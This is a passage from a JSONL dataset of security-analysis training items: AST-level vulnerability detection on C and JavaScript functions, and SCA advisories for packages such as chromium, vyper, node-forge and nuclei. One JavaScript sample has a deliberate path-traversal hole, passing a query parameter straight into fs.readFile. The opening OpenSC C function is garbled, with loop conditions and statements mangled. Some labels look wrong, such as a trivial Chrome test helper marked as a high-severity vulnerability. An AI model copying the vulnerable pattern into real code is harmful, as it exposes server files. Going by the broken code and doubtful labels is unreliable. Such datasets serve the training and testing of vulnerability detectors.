0;\n\t\tbreak;\n\tdefault:\n\t\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_INVALID_ARGUMENTS);\n\t}\n\tif( pathlen == 0 ) apdu.cse = SC_APDU_CASE_2_SHORT;\n\n\tapdu.lc = pathlen;\n\tapdu.data = path;\n\tapdu.datalen = pathlen;\n\n\tif (file_out != NULL) {\n\t\tapdu.resp = buf;\n\t\tapdu.resplen = sizeof(buf);\n\t\tapdu.le = 256;\n\t} else {\n\t\tapdu.resplen = 0;\n\t\tapdu.le = 0; \n\t\tapdu.p2 = 0x0C; \n\t\tapdu.cse = (pathlen == 0) ? SC_APDU_CASE_1 : SC_APDU_CASE_3_SHORT;\n\t}\n\n\tr = sc_transmit_apdu(card, &apdu);\n\tSC_TEST_RET(ctx, SC_LOG_DEBUG_NORMAL, r, \"APDU transmit failed\");\n\tr = sc_check_sw(card, apdu.sw1, apdu.sw2);\n\tif (r || file_out == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, r);\n\n\tif (apdu.resplen < 1 || apdu.resp[0] != 0x62){\n\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"received invalid template %02X\\n\", apdu.resp[0]);\n\t\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED);\n\t}\n\n\tfile = sc_file_new();\n\tif (file == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_NORMAL, SC_ERROR_OUT_OF_MEMORY);\n\t*file_out = file;\n \tfile->path = *in_path;\n \n \tfor(i=2; i+1size=0;\n\t\t\tfor(j=0; jsize = (file->size<<8) | d[j];\n\t\t\tbreak;\n\t\tcase 0x82:\n\t\t\tfile->shareable = (d[0] & 0x40) ? 1 : 0;\n\t\t\tfile->ef_structure = d[0] & 7;\n\t\t\tswitch ((d[0]>>3) & 7) {\n\t\t\tcase 0: file->type = SC_FILE_TYPE_WORKING_EF; break;\n\t\t\tcase 7: file->type = SC_FILE_TYPE_DF; break;\n\t\t\tdefault:\n\t\t\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"invalid file type %02X in file descriptor\\n\", d[0]);\n\t\t\t\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 0x83:\n \t\t\tfile->id = (d[0]<<8) | d[1];\n \t\t\tbreak;\n \t\tcase 0x84:\n\t\t\tmemcpy(file->name, d, len);\n\t\t\tfile->namelen = len;\n \t\t\tbreak;\n \t\tcase 0x86:\n \t\t\tsc_file_set_sec_attr(file, d, len); \n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (len>0) sc_file_set_prop_attr(file, d, len); \n\t\t}\n\t}\n\tfile->magic = SC_FILE_MAGIC;\n\n\tparse_sec_attr(card, file, file->sec_attr, file->sec_attr_len);\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-415\",\n \"cwe_name\": \"Double Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-16425\",\n \"project\": \"OpenSC\",\n \"vulnerable_lines\": [\n 74,\n 98,\n 99\n ],\n \"sink_node_type\": \"for_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"for_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 73,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 73,\n \"col\": 5\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 73,\n \"col\": 7\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 73,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 73,\n \"col\": 9\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 11\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 73,\n \"col\": 12\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 73,\n \"col\": 13\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 73,\n \"col\": 14\n },\n {\n \"token\": \"apdu\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 15\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 73,\n \"col\": 19\n },\n {\n \"token\": \"resplen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 73,\n \"col\": 20\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 73,\n \"col\": 28\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 31\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 73,\n \"col\": 32\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 73,\n \"col\": 33\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 73,\n \"col\": 34\n },\n {\n \"token\": \"apdu\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 35\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 73,\n \"col\": 39\n },\n {\n \"token\": \"resp\",\n \"ast_node\": \"field_identifier\",\n \"line\": 73,\n \"col\": 40\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 73,\n \"col\": 44\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 45\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 73,\n \"col\": 46\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 73,\n \"col\": 47\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 73,\n \"col\": 48\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 73,\n \"col\": 49\n },\n {\n \"token\": \"apdu\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 50\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 73,\n \"col\": 54\n },\n {\n \"token\": \"resplen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 73,\n \"col\": 55\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 73,\n \"col\": 62\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 64\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 73,\n \"col\": 65\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 73,\n \"col\": 67\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 73,\n \"col\": 68\n },\n {\n \"token\": \"apdu\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 69\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 73,\n \"col\": 73\n },\n {\n \"token\": \"resp\",\n \"ast_node\": \"field_identifier\",\n \"line\": 73,\n \"col\": 74\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 73,\n \"col\": 78\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 73,\n \"col\": 79\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 73,\n \"col\": 80\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 73,\n \"col\": 81\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 73,\n \"col\": 82\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 73,\n \"col\": 83\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 73,\n \"col\": 84\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 74,\n \"col\": 2\n },\n {\n \"token\": \"j\",\n \"ast_node\": \"identifier\",\n \"line\": 74,\n \"col\": 6\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 74,\n \"col\": 7\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 74,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 74,\n \"col\": 12\n },\n {\n \"token\": \"apdu\",\n \"ast_node\": \"identifier\",\n \"line\": 74,\n \"col\": 13\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 74,\n \"col\": 17\n },\n {\n \"token\": \"resp\",\n \"ast_node\": \"field_identifier\",\n \"line\": 74,\n \"col\": 18\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 74,\n \"col\": 22\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 74,\n \"col\": 23\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 74,\n \"col\": 24\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 74,\n \"col\": 25\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 74,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 74,\n \"col\": 27\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 75,\n \"col\": 3\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: <150.0.7871.114-1~deb12u1\nSummary: Insufficient validation of untrusted input in WebAppInstalls in Google Chrome on Android prior to 150.0.7871.115 allowed a local attacker to bypass same origin policy via a crafted HTML page. (Chromiu...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-15115\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <150.0.7871.114-1~deb12u1\",\n \"fixed_version\": \"150.0.7871.114-1~deb12u1\",\n \"finding\": \"Insufficient validation of untrusted input in WebAppInstalls in Google Chrome on Android prior to 150.0.7871.115 allowed a local attacker to bypass same origin policy via a crafted HTML page. (Chromiu...\",\n \"remediation\": \"Upgrade chromium to 150.0.7871.114-1~deb12u1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/zitadel/zitadel\nInstalled version: 1.80.0-v2.20.0.20260225053417-0261536243e5\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/zitadel/zitadel\",\n \"installed_version\": \"1.80.0-v2.20.0.20260225053417-0261536243e5\",\n \"note\": \"github.com/zitadel/zitadel 1.80.0-v2.20.0.20260225053417-0261536243e5 is at or above the fixed version for GO-2026-4572; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: vyper\nInstalled version: <0.4.1\nSummary: AugAssign evaluation order causing OOB write within the object in Vyper", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4w26-8p97-f4jp\",\n \"cve\": \"CVE-2025-27105\",\n \"aliases\": [\n \"CVE-2025-27105\",\n \"PYSEC-2025-31\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"vyper\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <0.4.1\",\n \"fixed_version\": \"0.4.1\",\n \"finding\": \"AugAssign evaluation order causing OOB write within the object in Vyper\",\n \"remediation\": \"Upgrade vyper to 0.4.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk\nInstalled version: 1.3.3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk\",\n \"installed_version\": \"1.3.3\",\n \"note\": \"software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk 1.3.3 is at or above the fixed version for GHSA-94jq-q5v2-76wj; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-22", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this javascript snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "const fs = require('fs');\nfunction download(req, res) {\n const raw = req.query.url;\n fs.readFile('/var/data/' + raw, (e, buf) => res.send(buf));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-22\",\n \"cwe_name\": \"Path Traversal\",\n \"title\": \"Path traversal in fs.readFile\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"fs\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"readFile\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"/var/data/\",\n \"ast_node\": \"string_fragment\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"raw\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 36\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 46\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \"send\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 50\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 54\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 55\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 58\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 59\n }\n ],\n \"explanation\": \"User-controlled filename is joined to a base path without canonicalization, enabling ../ traversal.\",\n \"remediation\": \"Canonicalize the path and verify it stays within an allow-listed base directory.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:6.0\nManifest: distro package manager (apt/apk)\nPackage: virtualbox-ose\nInstalled version: 3.2.10-dfsg-1+squeeze3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:6.0\",\n \"package\": \"virtualbox-ose\",\n \"installed_version\": \"3.2.10-dfsg-1+squeeze3\",\n \"note\": \"virtualbox-ose 3.2.10-dfsg-1+squeeze3 is at or above the fixed version for DSA-2904-1; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: datasette\nInstalled version: <01e0558825b8f7ec17d3b691aa072daf122fcc74\nSummary: Datasette is an open source multi-tool for exploring and publishing data. This bug affects Datasette instances running a Datasette 1.0 alpha - 1.0a0, 1.0a1, 1.0a2 or 1.0a3 - in an online accessible lo...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2023-154\",\n \"cve\": \"CVE-2023-40570\",\n \"aliases\": [\n \"CVE-2023-40570\",\n \"GHSA-7ch3-7pp7-7cpq\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"datasette\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <01e0558825b8f7ec17d3b691aa072daf122fcc74\",\n \"fixed_version\": \"01e0558825b8f7ec17d3b691aa072daf122fcc74\",\n \"finding\": \"Datasette is an open source multi-tool for exploring and publishing data. This bug affects Datasette instances running a Datasette 1.0 alpha - 1.0a0, 1.0a1, 1.0a2 or 1.0a3 - in an online accessible lo...\",\n \"remediation\": \"Upgrade datasette to 01e0558825b8f7ec17d3b691aa072daf122fcc74 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void ExpectCanDiscardFalseTrivial(const LifecycleUnit* lifecycle_unit,\n DiscardReason discard_reason) {\n DecisionDetails decision_details;\n EXPECT_FALSE(lifecycle_unit->CanDiscard(discard_reason, &decision_details));\n EXPECT_FALSE(decision_details.IsPositive());\n EXPECT_TRUE(decision_details.reasons().empty());\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1613\",\n \"project\": \"Chrome\",\n \"vulnerable_lines\": [\n 6\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"ExpectCanDiscardFalseTrivial\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"LifecycleUnit\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"lifecycle_unit\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"DiscardReason\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 34\n },\n {\n \"token\": \"discard_reason\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 62\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 64\n },\n {\n \"token\": \"DecisionDetails\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 3\n },\n {\n \"token\": \"decision_details\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"EXPECT_FALSE\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"lifecycle_unit\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"CanDiscard\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 42\n },\n {\n \"token\": \"discard_reason\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 57\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 4,\n \"col\": 59\n },\n {\n \"token\": \"decision_details\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 60\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 76\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 77\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 78\n },\n {\n \"token\": \"EXPECT_FALSE\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"decision_details\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \"IsPositive\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 46\n },\n {\n \"token\": \"EXPECT_TRUE\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \"decision_details\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 6,\n \"col\": 30\n },\n {\n \"token\": \"reasons\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 31\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 39\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 6,\n \"col\": 40\n },\n {\n \"token\": \"empty\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 41\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 46\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 48\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 49\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 7,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int AppLayerProtoDetectPMRegisterPatternCI(uint8_t ipproto, AppProto alproto,\n const char *pattern,\n uint16_t depth, uint16_t offset,\n uint8_t direction)\n{\n SCEnter();\n int r = 0;\n r = AppLayerProtoDetectPMRegisterPattern(ipproto, alproto,\n pattern,\n depth, offset,\n direction,\n 0 /* !case-sensitive */);\n SCReturnInt(r);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"suricata\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/projectdiscovery/nuclei/v3\nInstalled version: 3.0.0\nSummary: Nuclei: Arbitrary Code Execution via Goja JavaScript Engine Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-vxg7-f2jj-jmqm\",\n \"cve\": \"CVE-2026-76819\",\n \"aliases\": [\n \"CVE-2026-76819\",\n \"GO-2026-6575\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/projectdiscovery/nuclei/v3\",\n \"severity\": \"high\",\n \"affected_versions\": \">=3.0.0, <3.10.0\",\n \"fixed_version\": \"3.10.0\",\n \"finding\": \"Nuclei: Arbitrary Code Execution via Goja JavaScript Engine Vulnerability\",\n \"remediation\": \"Upgrade github.com/projectdiscovery/nuclei/v3 to 3.10.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: libqb\nInstalled version: 1.0.4-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"libqb\",\n \"installed_version\": \"1.0.4-1\",\n \"note\": \"libqb 1.0.4-1 is at or above the fixed version for DEBIAN-CVE-2019-12779; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1333", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: node-forge\nInstalled version: 0.1.2\nSummary: Forge: ReDoS in forge.http response header and cookie trimming", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6cv4-p8m7-4r25\",\n \"cve\": \"CVE-2026-125333\",\n \"aliases\": [\n \"CVE-2026-125333\"\n ],\n \"cwe\": \"CWE-1333\",\n \"ecosystem\": \"npm\",\n \"package\": \"node-forge\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0.1.2, <1.4.3\",\n \"fixed_version\": \"1.4.3\",\n \"finding\": \"Forge: ReDoS in forge.http response header and cookie trimming\",\n \"remediation\": \"Upgrade node-forge to 1.4.3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-400", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: io.netty:netty-codec-http3\nInstalled version: <4.2.16.Final\nSummary: Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types", "output": "{\n \"vulnerable\": 